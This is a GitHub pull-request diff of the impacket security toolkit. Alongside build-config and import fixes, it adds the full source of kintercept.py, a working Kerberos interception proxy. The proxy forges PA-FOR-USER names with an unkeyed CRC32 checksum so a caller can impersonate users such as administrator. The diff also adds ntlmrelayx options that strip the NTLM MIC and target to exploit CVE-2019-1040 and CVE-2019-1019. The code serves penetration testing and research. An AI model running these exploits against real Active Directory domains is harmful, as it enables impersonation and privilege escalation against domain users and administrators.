Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
71 commits
Select commit Hold shift + click to select a range
1f1baea
smb3: fix the check to not encrypt anonymous connection
cnotin Apr 3, 2019
1114c3e
Travis CI: Time to take off the training wheels...
cclauss Apr 4, 2019
4905c8c
Merge pull request #601 from cclauss/patch-1
asolino Apr 4, 2019
29e4bbb
Fixed bug where hLsarOpenPolicy2 was being reference (incorrectly) fr…
skorov Apr 5, 2019
194b22e
Merge pull request #603 from skorov/master
asolino Apr 6, 2019
3ccc22b
Travis CI: Test on Python 3.7 and flake8 3.7
cclauss Apr 7, 2019
6bdecc0
tox.ini: Add py37
cclauss Apr 7, 2019
ef07692
Revert flake8 upgrade
cclauss Apr 7, 2019
6d064d0
Update .travis.yml
cclauss Apr 7, 2019
fef3bb9
flake8 . --max-complexity=65
cclauss Apr 7, 2019
754a421
remcomsvc.py: Remove backslash at end of the file
cclauss Apr 7, 2019
f784e23
Upgrade flake8 to 3.7.7
cclauss Apr 7, 2019
cd58aed
Flake8: Raise all E9xx errors
cclauss Apr 7, 2019
b1458ce
Add STYPE_MASK constant
cnotin Apr 17, 2019
a0ca1af
Remove trailing backslash in remcomsvc.py
cclauss Apr 18, 2019
434c868
ConfigParse should always receive strings, not ints
asolino Apr 23, 2019
cb7793b
support multiple PEKs in Windows 2016
mikeryan Apr 26, 2019
9362abf
Merge branch 'mikeryan-win2016-multiple-peks'
asolino Apr 28, 2019
c2de18c
Merge pull request #616 from cclauss/patch-2
asolino Apr 28, 2019
e8e55a2
Merge pull request #598 from cnotin/patch-1
asolino Apr 28, 2019
82f2447
Dummy clean on file
eamanu May 5, 2019
9bd28ec
Merge pull request #619 from eamanu/patch-1
asolino May 7, 2019
335f25e
Merge pull request #606 from cclauss/patch-1
asolino May 7, 2019
ec9d119
Merge pull request #615 from cnotin/patch-2
asolino May 7, 2019
d1ba169
Fixed broken ldap3 requirement
SR4ven May 10, 2019
9b57fa4
Moved pip check from tavis to tox
SR4ven May 10, 2019
8eea8c2
nmb: add timeout for whole read operation in non_polling_read
cnotin May 10, 2019
018f9ec
Merge branch 'cnotin-patch-1'
asolino May 15, 2019
7dd9096
Merge pull request #621 from SR4ven/fix_dependencies
asolino May 15, 2019
1c4f9d4
smbserver.py: fix order of "computer\username" in log messages
cnotin May 21, 2019
87e0b7f
Merge pull request #627 from cnotin/patch-1
asolino May 21, 2019
25a37a2
Adjusting lmhash, nthash and aesKey to Python3 binary data
asolino May 22, 2019
f67caa7
Adjust the option domain-search-list to be synchronized with its defi…
May 23, 2019
eaca9be
Merge pull request #630 from iptwLcP9/dhcp-fix
asolino May 23, 2019
d6b5bd4
Let's try w/o decoding Unicode
asolino May 29, 2019
5257b9d
CVE-2019-1019: Bypass SMB singing for unpatched machines
msimakov Jun 13, 2019
cb311ef
Add SMBv1 support + MIC Calculations improvements
asolino Jun 13, 2019
2e9dc77
Minor cosmetic changes and code attribution
asolino Jun 13, 2019
fc51af4
Merge branch 'msimakov-CVE-2019-1019'
asolino Jun 13, 2019
e67019a
Added POC code for CVE-2019-1040
dirkjanm Jun 13, 2019
25f0260
Fix bug in CVE-2019-1019 ntlmrelayx code
dirkjanm Jun 15, 2019
e71424c
Merge pull request #637 from dirkjanm/micremove
asolino Jun 15, 2019
24102b4
Making 5257b9d changes to dtypes.STR work in Py 2 & 3
franferrax Jun 19, 2019
e7461f6
Merge pull request #641 from franferrax/master
asolino Jun 20, 2019
abd1fe7
Removing unused variable
asolino Jun 24, 2019
b129807
Clarifying some messages when signing is required
asolino Jun 24, 2019
3b8027d
Do not overwrite default values with 0
Jul 2, 2019
398b9e5
Adjusting messages
asolino Jul 3, 2019
2f2db66
Completing CVE-2019-1019 attribution.
asolino Jul 3, 2019
cb44903
A tool for intercepting krb5 connections
iboukris Jul 3, 2019
3bd5338
Merge pull request #647 from iboukris/s4u2else
asolino Jul 11, 2019
9e54b02
Minor changes
asolino Jul 11, 2019
1e40a64
Merge branch 'nested_obj_value_fix' of https://github.com/stuken/impa…
asolino Jul 11, 2019
652dfc4
Merge branch 'stuken-nested_obj_value_fix'
asolino Jul 11, 2019
93c4d2c
added webdav capabilities and relay
salu90 Jul 17, 2019
27065c5
Merge pull request #652 from salu90/webdav
asolino Jul 18, 2019
a0ad462
fix the import path of hLsarOpenPolicy2
n1ngod Aug 12, 2019
c9f26f6
Merge pull request #665 from n1ngod/master
asolino Aug 12, 2019
80ca724
Do not enconde the string to bytes when changing drive letter.
asolino Aug 20, 2019
bdaea1c
Fix unicode errors caused by python2/3 incompatibility
c0d3z3r0 Sep 4, 2019
c0664ea
Fix broken error message introduced by python3 port
c0d3z3r0 Sep 4, 2019
0dc3864
raising the exception the Py3 way
asolino Sep 10, 2019
11ff3d4
Merge branch 'c0d3z3r0-for_upstream/python3_error_msg'
asolino Sep 10, 2019
fc725c5
Merge branch 'for_upstream/unicode_fix' of https://github.com/c0d3z3r…
asolino Sep 10, 2019
75250d7
Merge branch 'c0d3z3r0-for_upstream/unicode_fix'
asolino Sep 11, 2019
ec7aaa4
Fix bug in RQueryServiceObjectSecurity
MrAnde7son Sep 18, 2019
afa2825
Merge pull request #674 from MrAnde7son/patch-11
asolino Sep 18, 2019
149ba19
Add support for all info types in QUERY_INFO request
MrAnde7son Sep 22, 2019
02089dc
Merge pull request #675 from MrAnde7son/patch-12
asolino Sep 23, 2019
647d7be
Tagging new release
asolino Sep 25, 2019
f970470
Merge branch 'impacket/0_9_20' into test/impacket_0_9_20
Dec 15, 2019
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 6 additions & 5 deletions .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -8,15 +8,16 @@ matrix:
env: NO_REMOTE=true, TOXENV=py27
- python: 3.6
env: NO_REMOTE=true, TOXENV=py36
allow_failures:
- python: 3.6
- python: 3.7
env: NO_REMOTE=true, TOXENV=py37
dist: xenial # required for Python >= 3.7

install: pip install flake8==3.6.0 tox -r requirements.txt
install: pip install flake8 tox -r requirements.txt

before_script:
# stop the build if there are Python syntax errors or undefined names
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- flake8 . --count --select=E9,F72,F82 --show-source --statistics
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- flake8 . --count --ignore=E1,E2,E3,W293,W291,E501,C901 --exit-zero --max-complexity=10 --max-line-length=127 --statistics
- flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics

script: tox
1 change: 0 additions & 1 deletion MANIFEST.in
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@ include MANIFEST.in
include LICENSE
include ChangeLog
include requirements.txt
include requirements_examples.txt
include tox.ini
recursive-include examples tests *.txt *.py
recursive-include tests *
2 changes: 1 addition & 1 deletion examples/GetADUsers.py
Original file line number Diff line number Diff line change
Expand Up @@ -76,7 +76,7 @@ def getMachineName(self):
s.login('', '')
except Exception:
if s.getServerName() == '':
raise 'Error while anonymous logging into %s'
raise Exception('Error while anonymous logging into %s' % self.__domain)
else:
s.logoff()
return s.getServerName()
Expand Down
4 changes: 2 additions & 2 deletions examples/goldenPac.py
Original file line number Diff line number Diff line change
Expand Up @@ -45,8 +45,8 @@
DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
NULLGUID
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \
Expand Down
276 changes: 276 additions & 0 deletions examples/kintercept.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,276 @@
#!/usr/bin/env python
# MIT Licensed
# Copyright (c) 2019 Isaac Boukris <[email protected]>
#
# A tool for intercepting TCP streams and for testing KDC handling
# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self
# protocol extention (CVE-2018-16860 and CVE-2019-0734).
#
# The tool listens on a local port (default 88), to which the hijacked
# connections should be redirected (via port forwarding, etc), and sends
# all the packets to the upstream DC server.
# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied
# packet will be changed to the name specified in the handler's argument.
#
# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr

import struct, socket, argparse, asyncore
from binascii import crc32
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.krb5 import constants
from impacket.krb5.crypto import Cksumtype
from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC
from impacket.krb5.types import Principal


MAX_READ_SIZE = 16000
MAX_BUFF_SIZE = 32000
LISTEN_QUEUE = 10
TYPE = 10

def process_s4u2else_req(data, impostor):
try:
tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0]
except:
print ('Record is not a TGS-REQ')
return ''

pa_tgs_req = pa_for_user = None

for pa in tgs['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value:
pa_tgs_req = pa
elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value:
pa_for_user = pa

if not pa_tgs_req or not pa_for_user:
print ('TGS request is not S4U')
return ''

tgs['padata'] = noValue
tgs['padata'][0] = pa_tgs_req

try:
for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0]
except:
print ('Failed to decode PA_FOR_USER!')
return ''

S4UByteArray = struct.pack('<I', TYPE)
S4UByteArray += impostor + str(for_user_obj['userRealm']) + 'Kerberos'

cs = (~crc32(S4UByteArray, 0xffffffff)) & 0xffffffff
cs = struct.pack('<I', cs)

clientName = Principal(impostor, type=TYPE)
seq_set(for_user_obj, 'userName', clientName.components_to_asn1)

for_user_obj['cksum'] = noValue
for_user_obj['cksum']['cksumtype'] = Cksumtype.CRC32
for_user_obj['cksum']['checksum'] = cs

pa_for_user['padata-value'] = encoder.encode(for_user_obj)
tgs['padata'][1] = pa_for_user

return bytes(encoder.encode(tgs))

def mod_tgs_rep_user(data, reply_user):
try:
tgs = decoder.decode(data, asn1Spec = TGS_REP())[0]
except:
print ('Record is not a TGS-REP')
return ''

cname = Principal(reply_user, type=TYPE)
seq_set(tgs, 'cname', cname.components_to_asn1)

return bytes(encoder.encode(tgs))


class InterceptConn(asyncore.dispatcher):
def __init__(self, conn=None):
asyncore.dispatcher.__init__(self, conn)
self.peer = None
self.buffer = bytearray()
self.eof_received = False
self.eof_sent = False

# Override recv method to handle half opened connections
# e.g. curl --http1.0 ...
def recv(self, n):
if not n:
return ''
try:
data = self.socket.recv(n)
if not data:
self.handle_eof()
return ''
else:
return data
except socket.error as why:
if why.args[0] in asyncore._DISCONNECTED:
self.handle_close()
return ''
else:
raise

def forward_data(self, data):
self.peer.buffer.extend(data)

def buffer_empty(self):
return len(self.buffer) == 0

def max_read_size(self):
space = MAX_BUFF_SIZE - min(MAX_BUFF_SIZE, len(self.peer.buffer))
return min(MAX_READ_SIZE, space)

def readable(self):
if not self.connected:
return True
return (not self.eof_received) and (self.max_read_size() != 0)

def handle_read(self):
data_read = self.recv(self.max_read_size())
if data_read:
print (str(self.fileno()) + ': recieved ' + str(len(data_read)) + ' bytes')
self.forward_data(data_read)

def handle_eof(self):
print (str(self.fileno()) + ': received eof')
self.eof_received = True

def need_to_send_eof(self):
if self.eof_sent:
return False
return self.buffer_empty() and self.peer.eof_received

def writable(self):
if not self.connected:
return True
return not self.buffer_empty() or self.need_to_send_eof()

def handle_write(self):
if not self.buffer_empty():
sent = self.send(self.buffer)
print (str(self.fileno()) + ': sent ' + str(sent) + ' bytes')
if sent:
del self.buffer[:sent]
if self.need_to_send_eof():
self.shutdown(socket.SHUT_WR)
self.eof_sent = True
print (str(self.fileno()) + ': sent eof')
if self.peer.eof_sent:
self.handle_close()

def handle_close(self):
print ('Closing pair: [' + str(self.fileno()) + ',' + str(self.peer.fileno()) + ']')
self.peer.close()
self.close()


def InterceptKRB5Tcp(process_record_func, arg):
class _InterceptKRB5Tcp(InterceptConn):
def __init__(self, conn=None):
InterceptConn.__init__(self, conn)
self.proto_buffer = bytearray()

def forward_data(self, data):
self.proto_buffer.extend(data)

while len(self.proto_buffer):
if len(self.proto_buffer) < 4:
break

header = ''.join(reversed(str(self.proto_buffer[:4])))
rec_len = struct.unpack('<L', header)[0]
print ('len of record: ' + str(rec_len))

if len(self.proto_buffer) < 4 + rec_len:
break

msg = process_record_func(bytes(self.proto_buffer[4:4+rec_len]), arg)
if not msg:
InterceptConn.forward_data(self, self.proto_buffer[:4+rec_len])
else:
header = struct.pack('<L', len(msg))
InterceptConn.forward_data(self, ''.join(reversed(header)) + msg)

del self.proto_buffer[:4+rec_len]

return _InterceptKRB5Tcp

class InterceptConnFactory:
def __init__(self, handler=None, arg=None):
self.handler = handler
self.arg = arg

def produce(self):
if not self.handler:
return InterceptConn
if self.handler.lower() == "s4u2else":
return InterceptKRB5Tcp(process_s4u2else_req, self.arg)
if self.handler.lower() == "tgs-rep-user":
return InterceptKRB5Tcp(mod_tgs_rep_user, self.arg)

class InterceptServer(asyncore.dispatcher):
def __init__(self, addr, target, icf1, icf2):
asyncore.dispatcher.__init__(self)
self.target = target
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind(addr)
self.listen(LISTEN_QUEUE)
self.downconns = icf1
self.upconns = icf2

def intercept_conns(self, conn):
iconn1 = self.downconns.produce()(conn)
iconn2 = self.upconns.produce()()
return iconn1, iconn2

def handle_accept(self):
conn, addr = self.accept()
downstream, upstream = self.intercept_conns(conn)
downstream.peer = upstream
upstream.peer = downstream
try:
upstream.create_socket(socket.AF_INET, socket.SOCK_STREAM)
upstream.connect(self.target)
print ('accepted downconn fd: ' + str(downstream.fileno()))
print ('established upconn fd: ' + str(upstream.fileno()))
except:
print (str(conn.fileno()) + ': failed to connect to target')
downstream.handle_close()


def parse_args():
parser = argparse.ArgumentParser(description='Intercept TCP streams')
parser.add_argument('server', help='Target server address')
parser.add_argument('--server-port', default=88, type=int, help='Target server port')
parser.add_argument('--listen-port', default=88, type=int, help='Port to listen on')
parser.add_argument('--listen-addr', default='', help='Address to listen on')
parser.add_argument('--request-handler', default='', metavar='HANDLER:ARG', help='Example: s4u2else:user')
parser.add_argument('--reply-handler', default='', metavar='HANDLER:ARG', help='Example: tgs-rep-user:user')
return vars(parser.parse_args())


if __name__ == '__main__':

print(version.BANNER)

args = parse_args()

req_factory = rep_factory = InterceptConnFactory()
if args['request_handler']:
req_args = args['request_handler'].split(':')
req_factory = InterceptConnFactory(req_args[0], req_args[1])
if args['reply_handler']:
rep_args = args['reply_handler'].split(':')
rep_factory = InterceptConnFactory(rep_args[0], rep_args[1])

server = InterceptServer((args['listen_addr'], args['listen_port']),
(args['server'], args['server_port']),
req_factory, rep_factory)
asyncore.loop()
2 changes: 1 addition & 1 deletion examples/lookupsid.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,7 @@ def __bruteForce(self, rpctransport, maxRid):

dce.bind(lsat.MSRPC_UUID_LSAT)

resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']

if self.__domain_sids: # get the Domain SID
Expand Down
17 changes: 16 additions & 1 deletion examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -153,10 +153,12 @@ def start_servers(options, threads):
c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
c.setSMB2Support(options.smb2support)
c.setInterfaceIp(options.interface_ip)

c.setExploitOptions(options.remove_mic, options.remove_target)
c.setWebDAVOptions(options.serve_image)

if server is HTTPRelayServer:
c.setListeningPort(options.http_port)
c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
elif server is SMBRelayServer:
c.setListeningPort(options.smb_port)

Expand Down Expand Up @@ -240,6 +242,8 @@ def stop_servers(threads):
parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed '
'before serving a WPAD file.')
parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')

#SMB arguments
smboptions = parser.add_argument_group("SMB client options")
Expand All @@ -256,6 +260,17 @@ def stop_servers(threads):
mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
'(can specify multiple)')

#HTTPS options
httpoptions = parser.add_argument_group("HTTP options")
httpoptions.add_argument('-machine-account', action='store', required=False,
help='Domain machine account to use when interacting with the domain to grab a session key for '
'signing, format is domain/machine_name')
httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
help='Domain machine hashes, format is LMHASH:NTHASH')
httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
httpoptions.add_argument('-remove-target', action='store_true', default=False,
help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)')

#LDAP options
ldapoptions = parser.add_argument_group("LDAP client options")
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
Expand Down
4 changes: 2 additions & 2 deletions examples/raiseChild.py
Original file line number Diff line number Diff line change
Expand Up @@ -87,8 +87,8 @@
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO
Expand Down
4 changes: 2 additions & 2 deletions examples/wmiexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -226,8 +226,8 @@ def default(self, line):
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n').encode(CODEC)
self.prompt = (self.__pwd + b'>')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
Expand Down
Loading